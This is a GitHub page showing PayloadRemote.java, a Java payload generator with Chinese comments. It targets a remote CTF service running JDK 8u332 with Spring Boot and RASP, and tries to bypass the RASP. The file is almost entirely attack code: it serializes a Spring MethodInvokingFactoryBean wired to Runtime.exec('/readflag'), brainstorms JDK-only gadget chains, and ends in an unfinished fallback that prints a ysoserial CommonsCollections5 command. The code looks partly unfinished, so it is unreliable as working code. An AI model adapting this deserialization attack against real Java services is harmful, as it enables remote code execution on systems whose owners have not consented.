-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathPayloadRemote.java
More file actions
137 lines (109 loc) · 6.02 KB
/
Copy pathPayloadRemote.java
File metadata and controls
137 lines (109 loc) · 6.02 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
/**
* 远程 CTF 目标 Payload 生成器
* 目标: JDK 8u332 + Spring Boot + RASP
* 链: HashMap -> TiedMapEntry (CC) -> ... 不可用
*
* 使用纯 JDK 链绕过 RASP
*/
import java.io.*;
import java.util.*;
import java.lang.reflect.*;
import java.net.*;
public class PayloadRemote {
public static void main(String[] args) throws Exception {
String cmd = args.length > 0 ? args[0] : "/readflag";
System.err.println("[*] Generating JDK-only payload for: " + cmd);
System.err.println("[*] RASP blocks: TemplatesImpl.getStylesheetDOM, setAccessible0");
// ================================================================
// 方案: 利用 JDK 内置的 javax.script.ScriptEngineManager (Nashorn)
// JDK 8 自带 Nashorn JS 引擎
// ScriptEngine.eval("java.lang.Runtime.getRuntime().exec('/readflag')")
// ================================================================
// 问题: 需要构造链调用 ScriptEngine.eval()
// ScriptEngineManager 是 public 类, getEngineByName 是 public 方法
// ScriptEngine.eval 是 public 方法
// 但需要链式调用
// ================================================================
// 方案2: 利用 JDK 内置 Method.invoke + PriorityQueue
// PriorityQueue.readObject() -> heapify() -> comparator.compare()
// 如果 comparator 是 Method.invoke 的代理...
// ================================================================
// 手工构造: PriorityQueue + Proxy(Comparator, handler)
// handler = 自定义 InvocationHandler (匿名类不行, 需要 JDK 自带的)
// ================================================================
// 方案3: BadAttributeValueExpException + toString
// BadAttributeValueExpException.readObject -> val.toString()
// 需要找到 toString() 触发 RCE 的 JDK 类
// ================================================================
// ================================================================
// 方案4: 直接序列化 Runtime (?) - 不可能, Runtime 不是 Serializable
// ================================================================
// ================================================================
// 尝试: 使用 ProcessBuilder 但它是 final 且不 Serializable
// ================================================================
// ================================================================
// 最终方案: 手工构造字节流
// 使用 JDK 7u21 风格但替换 TemplatesImpl
// ================================================================
System.err.println("[*] 使用 JDK 内置的 URLClassLoader 加载远程 JAR...");
// 检查能否加载 Spring 类来辅助构造 chain
try {
Class<?> mifb = Class.forName(
"org.springframework.beans.factory.config.MethodInvokingFactoryBean");
System.err.println("[+] Spring MethodInvokingFactoryBean found!");
// MethodInvokingFactoryBean 对 public 方法不调用 setAccessible
Object bean = mifb.getDeclaredConstructor().newInstance();
// setTargetClass(Runtime.class)
Method setTargetClass = mifb.getMethod("setTargetClass", Class.class);
setTargetClass.invoke(bean, Runtime.class);
// setTargetMethod("exec")
Method setTargetMethod = mifb.getMethod("setTargetMethod", String.class);
setTargetMethod.invoke(bean, "exec");
// setArguments(new Object[]{cmd})
Method setArguments = mifb.getMethod("setArguments", Object[].class);
setArguments.invoke(bean, (Object) new Object[]{cmd});
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(bean);
oos.close();
byte[] payload = baos.toByteArray();
System.out.write(payload);
System.err.println("[+] Payload: " + payload.length + " bytes");
System.err.println("[+] MethodInvokingFactoryBean -> Runtime.exec()");
return;
} catch (ClassNotFoundException e) {
System.err.println("[-] Spring not in classpath (expected on server)");
}
// ================================================================
// Fallback: 用反射构造 AnnotationInvocationHandler 链
// ================================================================
// JDK 7u21 需要 TemplatesImpl -> 被 RASP 拦截
// 替代: 用 JdbcRowSetImpl + JNDI, 但 8u332 禁了远程类加载
// ================================================================
// 尝试 RMI 方法
// ================================================================
try {
generateRMIChain(cmd);
} catch (Exception e) {
e.printStackTrace();
}
}
static void generateRMIChain(String cmd) throws Exception {
// 构造一个简单的 Payload:
// 1. 用反射创建 AnnotationInvocationHandler
// 2. 配合 HashMap 触发
// 3. 目标是调用 Runtime.exec()
Class<?> aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> ctor = aihClass.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
// 使用 Target 注解类型
Class<?> targetAnno = Class.forName("java.lang.annotation.Target");
Map<String, Object> memberValues = new HashMap<>();
// 目标: 让 HashMap 反序列化时触发 something
// 这里需要真正的 gadget chain
// 由于复杂性, 输出手工说明
System.err.println("[!] 完整 JDK 链构造复杂, 请使用 ysoserial 生成");
System.err.println("[!] 命令: java -jar ysoserial.jar CommonsCollections5 '" + cmd + "' > payload.bin");
}
}